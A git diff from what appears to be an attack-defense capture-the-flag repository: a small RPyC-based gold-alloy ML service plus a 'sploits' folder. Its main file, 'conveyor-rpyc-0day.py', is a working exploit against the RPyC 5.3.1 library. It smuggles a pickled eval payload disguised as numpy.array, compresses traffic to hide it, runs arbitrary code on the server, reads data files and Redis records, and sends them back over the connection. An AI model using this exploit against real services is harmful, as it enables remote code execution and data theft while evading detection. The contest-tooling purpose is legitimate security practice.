+    {file = "wrapt-1.16.0-cp38-cp38-win_amd64.whl", hash = "sha256:490b0ee15c1a55be9c1bd8609b8cecd60e325f0575fc98f50058eae366e01f41"},
+    {file = "wrapt-1.16.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9b201ae332c3637a42f02d1045e1d0cccfdc41f1f2f801dafbaa7e9b4797bfc2"},
+    {file = "wrapt-1.16.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:2076fad65c6736184e77d7d4729b63a6d1ae0b70da4868adeec40989858eb3fb"},
+    {file = "wrapt-1.16.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5cd603b575ebceca7da5a3a251e69561bec509e0b46e4993e1cac402b7247b8"},
+    {file = "wrapt-1.16.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b47cfad9e9bbbed2339081f4e346c93ecd7ab504299403320bf85f7f85c7d46c"},
+    {file = "wrapt-1.16.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8212564d49c50eb4565e502814f694e240c55551a5f1bc841d4fcaabb0a9b8a"},
+    {file = "wrapt-1.16.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:5f15814a33e42b04e3de432e573aa557f9f0f56458745c2074952f564c50e664"},
+    {file = "wrapt-1.16.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db2e408d983b0e61e238cf579c09ef7020560441906ca990fe8412153e3b291f"},
+    {file = "wrapt-1.16.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:edfad1d29c73f9b863ebe7082ae9321374ccb10879eeabc84ba3b69f2579d537"},
+    {file = "wrapt-1.16.0-cp39-cp39-win32.whl", hash = "sha256:ed867c42c268f876097248e05b6117a65bcd1e63b779e916fe2e33cd6fd0d3c3"},
+    {file = "wrapt-1.16.0-cp39-cp39-win_amd64.whl", hash = "sha256:eb1b046be06b0fce7249f1d025cd359b4b80fc1c3e24ad9eca33e0dcdb2e4a35"},
+    {file = "wrapt-1.16.0-py3-none-any.whl", hash = "sha256:6906c4100a8fcbf2fa735f6059214bb13b97f75b1a61777fcf6432121ef12ef1"},
+    {file = "wrapt-1.16.0.tar.gz", hash = "sha256:5f370f952971e7d17c7d1ead40e49f32345a7f7a5373571ef44d800d06b1899d"},
+]
+
+[metadata]
+lock-version = "2.0"
+python-versions = "~3.11"
+content-hash = "9c6ab4eedb9b21f7b2da85701e4787f094b670950ce208cdeb50642febeef2e5"
diff --git a/services/conveyor/pyproject.toml b/services/conveyor/pyproject.toml
new file mode 100644
index 0000000..fd14211
--- /dev/null
+++ b/services/conveyor/pyproject.toml
@@ -0,0 +1,27 @@
+[tool.poetry]
+authors = ["renbou"]
+description = "Conveyor for working with gold and researching its properties via ML models."
+license = "Apache-2.0"
+name = "conveyor"
+version = "1.33.7"
+
+[tool.poetry.dependencies]
+numpy = "~1.26.3"
+pandas = "~2.2.0"
+pandera = "~0.18.0"
+pyarrow = "~15.0.0"
+pydantic = "~2.5.3"
+pydantic-settings = "~2.1.0"
+python = "~3.11"
+redis = { extras = ["hiredis"], version = "~5.0.1" }
+rpyc = "5.3.1"
+scikit-learn = "~1.4.0"
+structlog = "~24.1.0"
+
+[tool.poetry.scripts]
+conveyor-client = "scripts.client:main"
+conveyor-server = "scripts.server:main"
+
+[build-system]
+build-backend = "poetry.core.masonry.api"
+requires = ["poetry-core"]
diff --git a/services/conveyor/scripts/client.py b/services/conveyor/scripts/client.py
new file mode 100644
index 0000000..4f29a12
--- /dev/null
+++ b/services/conveyor/scripts/client.py
@@ -0,0 +1,75 @@
+import argparse
+from collections import UserList as ulist
+from typing import cast
+
+import rpyc
+
+from conveyor import AlloyComposition, GoldConveyorService
+
+
+def main():
+    argument_parser = argparse.ArgumentParser(
+        prog="conveyor-client",
+        description="Example client for the RPYC-powered gold ML dataset/model conveyors.",
+    )
+    argument_parser.add_argument(
+        "host", help="Conveyor service connection target host.", type=str
+    )
+    argument_parser.add_argument(
+        "port", help="Conveyor service connection target port.", type=int
+    )
+
+    # Connect to remote, allowing public attribute access in order to properly pass arguments.
+    args = argument_parser.parse_args()
+    conn: rpyc.Connection = rpyc.connect(
+        host=args.host,
+        port=args.port,
+        config=dict(
+            allow_public_attrs=True,
+            include_local_traceback=False,  # don't include traceback to save bandwidth
+            include_local_version=False,
+        ),
+    )
+    service: GoldConveyorService = cast(GoldConveyorService, conn.root)
+
+    # Select samples of different origins and combine them.
+    custom_samples = service.data_conveyor.template_alloy_samples(
+        AlloyComposition(gold_fr=0.83, silver_fr=0.05, copper_fr=0.02, platinum_fr=0.1),
+        weight_ozt=5,
+        max_deviation=0.01,
+        samples=50,
+    )
+    random_samples = service.data_conveyor.random_alloy_samples(
+        weight_ozt=2, max_deviation=0.005, samples=50
+    )
+    samples = service.data_conveyor.concat_samples(custom_samples, random_samples)
+
+    print(f"Samples:\n{samples.head()}\n")
+
+    # Normalize samples before working with them.
+    samples = service.data_conveyor.normalize_sample_weights(samples)
+
+    print(f"Normalized samples:\n{samples.head()}\n")
+
+    # Split them in preparation for training and testing.
+    x, y = (
+        samples[ulist(["gold_ozt", "silver_ozt", "copper_ozt", "platinum_ozt"])],
+        samples[ulist(["karat"])],
+    )
+
+    x_train, x_test, y_train, y_test = service.data_conveyor.split_samples(
+        x, y, proportion=0.8
+    )
+
+    print(
+        f"Train/Test frames shapes:\n - x_train {x_train.shape}\n - y_train {y_train.shape}\n - x_test {x_test.shape}\n - y_test {y_test.shape}\n"
+    )
+
+    # Train model and score it on the test data.
+    model = service.model_conveyor.fit_linear_regression(x_train, y_train)
+    print(f"Train score: {model.score(x_train, y_train)}")
+    print(f"Test score: {model.score(x_test, y_test)}")
+
+    prediction = model.predict(x_test)
+    print(f"Test MAE: {service.model_conveyor.mean_absolute_error(y_test, prediction)}")
+    print(f"Test MSA: {service.model_conveyor.mean_squared_error(y_test, prediction)}")
diff --git a/services/conveyor/scripts/server.py b/services/conveyor/scripts/server.py
new file mode 100644
index 0000000..0cff3e0
--- /dev/null
+++ b/services/conveyor/scripts/server.py
@@ -0,0 +1,111 @@
+import logging
+import signal
+import sys
+import threading
+import time
+from datetime import timedelta
+from pathlib import Path
+
+import rpyc
+import structlog
+from pydantic import RedisDsn, ValidationError
+from pydantic_settings import BaseSettings, SettingsConfigDict
+from rpyc.utils.helpers import classpartial
+
+from conveyor import GoldConveyorService, storage
+
+
+class Settings(BaseSettings):
+    model_config = SettingsConfigDict(env_prefix="conveyor_")
+
+    debug: bool = False
+    data_ttl: timedelta
+    data_dir: Path
+    listen_port: int
+    redis_url: RedisDsn
+
+
+def main():
+    logging.basicConfig(
+        format="%(message)s",
+        stream=sys.stdout,
+        level=logging.INFO,
+    )
+
+    structlog.configure(
+        processors=[
+            structlog.stdlib.add_logger_name,
+            structlog.stdlib.add_log_level,
+            structlog.processors.TimeStamper(fmt="iso"),
+            structlog.processors.StackInfoRenderer(),
+            structlog.processors.EventRenamer("message"),
+            structlog.processors.JSONRenderer(),
+        ],
+        wrapper_class=structlog.stdlib.BoundLogger,
+        logger_factory=structlog.stdlib.LoggerFactory(),
+    )
+    logger = structlog.stdlib.get_logger("main")
+
+    try:
+        settings = Settings.model_validate({})
+    except ValidationError as err:
+        for error in err.errors():
+            logger.critical(
+                f'validating field {".".join(map(str, error["loc"]))}: {error["msg"]}'
+            )
+        exit(1)
+
+    try:
+        repository = storage.RedisRepository(
+            str(settings.redis_url), round(settings.data_ttl.total_seconds())
+        )
+    except Exception as err:
+        logger.critical("failed to initialize redis-based repository", error=str(err))
+        exit(1)
+
+    try:
+        files = storage.FileStorage(settings.data_dir)
+    except Exception as err:
+        logger.critical("failed to initialize file storage", error=str(err))
+        exit(1)
+
+    logger.warn("starting conveyor service", port=settings.listen_port)
+
+    rpyc_logger = structlog.stdlib.get_logger("rpyc")
+    rpyc_logger.setLevel(logging.WARN)
+
+    server = rpyc.ThreadedServer(
+        classpartial(GoldConveyorService, repository, files),
+        port=settings.listen_port,
+        logger=rpyc_logger,
+        protocol_config=dict(
+            allow_safe_attrs=True,
+            allow_exposed_attrs=False,
+            include_local_traceback=settings.debug,
+            include_local_version=settings.debug,
+            allow_pickle=False,
+        ),
+    )
+
+    alive = True
+
+    def shutdown(*_):
+        nonlocal alive
+        alive = False
+
+    for sig in (signal.SIGTERM, signal.SIGINT):
+        signal.signal(sig, shutdown)
+
+    def shutdown_watcher():
+        while alive:
+            time.sleep(1)
+
+        logger.warn("shutting down conveyor service")
+
+        server.close()
+        repository.close()
+
+    shutdown_thread = threading.Thread(target=shutdown_watcher)
+    shutdown_thread.start()
+
+    server.start()
diff --git a/sploits/conveyor/.tool-versions b/sploits/conveyor/.tool-versions
new file mode 100644
index 0000000..a7bdacf
--- /dev/null
+++ b/sploits/conveyor/.tool-versions
@@ -0,0 +1 @@
+python 3.11.7
diff --git a/sploits/conveyor/conveyor-rpyc-0day.py b/sploits/conveyor/conveyor-rpyc-0day.py
new file mode 100644
index 0000000..5846398
--- /dev/null
+++ b/sploits/conveyor/conveyor-rpyc-0day.py
@@ -0,0 +1,98 @@
+import sys
+import zlib
+from typing import cast
+
+import rpyc
+
+if len(sys.argv) < 2:
+    print(f"Usage: {sys.argv[0]} [TASK_IP] [account IDs...]", file=sys.stderr)
+    exit(-1)
+
+TASK_IP = sys.argv[1]
+ACCOUNT_IDS = sys.argv[2:]
+
+
+class Exploit:
+    def __init__(self, code: str):
+        transformed = zlib.compress(code.encode()).hex()
+        # or __import__('numpy').array([[1]]) needed to avoid raising error,
+        # this way the traffic is way less suspicious.
+        # [[1]] here and later during fit_ridge is needed to avoid ridge fit error.
+        self.code = f"exec(__import__('zlib').decompress(bytes.fromhex('{transformed}'))) or __import__('numpy').array([[1]])"
+
+    def __array__(self):
+        pass
+
+    def __reduce__(self):
+        return (__import__("builtins").eval, (self.code,))
+
+
+# Obfuscate exploit class name in traffic
+Exploit.__module__ = "numpy"
+Exploit.__name__ = "array"
+
+# Always compress data to obfuscate payload in traffic
+rpyc.Channel.COMPRESSION_THRESHOLD = 0  # type: ignore
+
+payload = """
+import inspect
+import re
+import os
+
+stack = inspect.stack()
+handle_call_stack = next(filter(lambda s: s.function == '_handle_call', stack))
+conn = handle_call_stack.frame.f_locals['self']
+send = lambda conn, s: conn._send(2, 1337, conn._box(__import__('zlib').compress(s.encode())))
+
+flagre = re.compile(b'[A-Z0-9]{31}=')
+for filename in os.listdir('/conveyor/data'):
+    with open('/conveyor/data/'+filename, 'rb') as f:
+        data = f.read()
+    for flag in flagre.findall(data):
+        send(conn, 'file flag ' + flag.decode())
+
+for account in conn.root.data:
+    datasets = conn._local_root.repository.list_datasets(account)
+    for dataset in datasets:
+        send(conn, 'redis flag ' + dataset.name + ' ' + dataset.description)
+"""
+
+
+# Override _seq_request_callback in rpyc.Connection to always handle the special seq id 1337,
+# which will be used for all data exfiltration
+def _seq_request_callback(self, msg, seq, is_exc, obj):
+    if seq == 1337:
+        print(f"Exfiltrated data: {zlib.decompress(obj).decode()}")
+        return
+
+    _callback = self._request_callbacks.pop(seq, None)
+    if _callback is not None:
+        _callback(is_exc, obj)
+    elif self._config["logger"] is not None:
+        debug_msg = "Recieved {} seq {} and a related request callback did not exist"
+        self._config["logger"].debug(debug_msg.format(msg, seq))
+
+
+rpyc.Connection._seq_request_callback = _seq_request_callback
+
+
+# Service for sending data to the payload (i.e. user IDs for requesting data from redis).
+# Called VoidService to resemble the default rpyc VoidService.
+class VoidService(rpyc.Service):
+    def __init__(self, data):
+        self.data = data
+
+    def _rpyc_getattr(self, name):
+        if name == "data":
+            return self.data
+        raise AttributeError()
+
+
+VoidService.__module__ = rpyc.VoidService.__module__
+VoidService.__name__ = rpyc.VoidService.__name__
+
+# Establish RPYC connection with allowed pickle.dumps on the client, then trigger the exploit via the np.array cast in fit_ridge.
+conn: rpyc.Connection = rpyc.connect(
+    host=TASK_IP, port=12378, config=dict(allow_pickle=True), service=VoidService(ACCOUNT_IDS)  # type: ignore
+)
+conn.root.model_conveyor.fit_ridge(cast(list, Exploit(payload)), [[1]])
diff --git a/sploits/conveyor/poetry.lock b/sploits/conveyor/poetry.lock
new file mode 100644
index 0000000..9461cfd
--- /dev/null
+++ b/sploits/conveyor/poetry.lock
@@ -0,0 +1,62 @@
+# This file is automatically @generated by Poetry 1.7.1 and should not be changed by hand.
+
+[[package]]
+name = "plumbum"
+version = "1.8.2"
+description = "Plumbum: shell combinators library"
+optional = false
+python-versions = ">=3.6"
+files = [
+    {file = "plumbum-1.8.2-py3-none-any.whl", hash = "sha256:3ad9e5f56c6ec98f6f7988f7ea8b52159662ea9e915868d369dbccbfca0e367e"},
+    {file = "plumbum-1.8.2.tar.gz", hash = "sha256:9e6dc032f4af952665f32f3206567bc23b7858b1413611afe603a3f8ad9bfd75"},
+]
+
+[package.dependencies]
+pywin32 = {version = "*", markers = "platform_system == \"Windows\" and platform_python_implementation != \"PyPy\""}
+
+[package.extras]
+dev = ["paramiko", "psutil", "pytest (>=6.0)", "pytest-cov", "pytest-mock", "pytest-timeout"]
+docs = ["sphinx (>=4.0.0)", "sphinx-rtd-theme (>=1.0.0)"]
+ssh = ["paramiko"]
+
+[[package]]
+name = "pywin32"
+version = "306"
+description = "Python for Window Extensions"
+optional = false
+python-versions = "*"
+files = [
+    {file = "pywin32-306-cp310-cp310-win32.whl", hash = "sha256:06d3420a5155ba65f0b72f2699b5bacf3109f36acbe8923765c22938a69dfc8d"},
+    {file = "pywin32-306-cp310-cp310-win_amd64.whl", hash = "sha256:84f4471dbca1887ea3803d8848a1616429ac94a4a8d05f4bc9c5dcfd42ca99c8"},
+    {file = "pywin32-306-cp311-cp311-win32.whl", hash = "sha256:e65028133d15b64d2ed8f06dd9fbc268352478d4f9289e69c190ecd6818b6407"},
+    {file = "pywin32-306-cp311-cp311-win_amd64.whl", hash = "sha256:a7639f51c184c0272e93f244eb24dafca9b1855707d94c192d4a0b4c01e1100e"},
+    {file = "pywin32-306-cp311-cp311-win_arm64.whl", hash = "sha256:70dba0c913d19f942a2db25217d9a1b726c278f483a919f1abfed79c9cf64d3a"},
+    {file = "pywin32-306-cp312-cp312-win32.whl", hash = "sha256:383229d515657f4e3ed1343da8be101000562bf514591ff383ae940cad65458b"},
+    {file = "pywin32-306-cp312-cp312-win_amd64.whl", hash = "sha256:37257794c1ad39ee9be652da0462dc2e394c8159dfd913a8a4e8eb6fd346da0e"},
+    {file = "pywin32-306-cp312-cp312-win_arm64.whl", hash = "sha256:5821ec52f6d321aa59e2db7e0a35b997de60c201943557d108af9d4ae1ec7040"},
+    {file = "pywin32-306-cp37-cp37m-win32.whl", hash = "sha256:1c73ea9a0d2283d889001998059f5eaaba3b6238f767c9cf2833b13e6a685f65"},
+    {file = "pywin32-306-cp37-cp37m-win_amd64.whl", hash = "sha256:72c5f621542d7bdd4fdb716227be0dd3f8565c11b280be6315b06ace35487d36"},
+    {file = "pywin32-306-cp38-cp38-win32.whl", hash = "sha256:e4c092e2589b5cf0d365849e73e02c391c1349958c5ac3e9d5ccb9a28e017b3a"},
+    {file = "pywin32-306-cp38-cp38-win_amd64.whl", hash = "sha256:e8ac1ae3601bee6ca9f7cb4b5363bf1c0badb935ef243c4733ff9a393b1690c0"},
+    {file = "pywin32-306-cp39-cp39-win32.whl", hash = "sha256:e25fd5b485b55ac9c057f67d94bc203f3f6595078d1fb3b458c9c28b7153a802"},
+    {file = "pywin32-306-cp39-cp39-win_amd64.whl", hash = "sha256:39b61c15272833b5c329a2989999dcae836b1eed650252ab1b7bfbe1d59f30f4"},
+]
+
+[[package]]
+name = "rpyc"
+version = "5.3.1"
+description = "Remote Python Call (RPyC) is a transparent and symmetric distributed computing library"
+optional = false
+python-versions = ">=3.7"
+files = [
+    {file = "rpyc-5.3.1-py3-none-any.whl", hash = "sha256:6e8153792ac221a80f420d2e0b241a10c6e43b105d325998b18a4e7af329f9ec"},
+    {file = "rpyc-5.3.1.tar.gz", hash = "sha256:f2233174879faf18ae266437d5a65511ce46c817cec4edc1344f036758cfbf52"},
+]
+
+[package.dependencies]
+plumbum = "*"
+
+[metadata]
+lock-version = "2.0"
+python-versions = "~3.11"
+content-hash = "6dd777690be524f9a2aa4e5f06a3dce011fe739b19caf878b8e95f7d9f8ab189"
diff --git a/sploits/conveyor/pyproject.toml b/sploits/conveyor/pyproject.toml
new file mode 100644
index 0000000..3dca8a7
--- /dev/null
+++ b/sploits/conveyor/pyproject.toml
@@ -0,0 +1,16 @@
+[tool.poetry]
+name = "conveyor-sploit"
+version = "1.33.7"
+description = "Conveyor service exploit via 0day in RPYC."
+authors = ["renbou"]
+license = "Apache-2.0"
+readme = "README.md"
+
+[tool.poetry.dependencies]
+python = "~3.11"
+rpyc = "5.3.1"
+
+
+[build-system]
+requires = ["poetry-core"]
+build-backend = "poetry.core.masonry.api"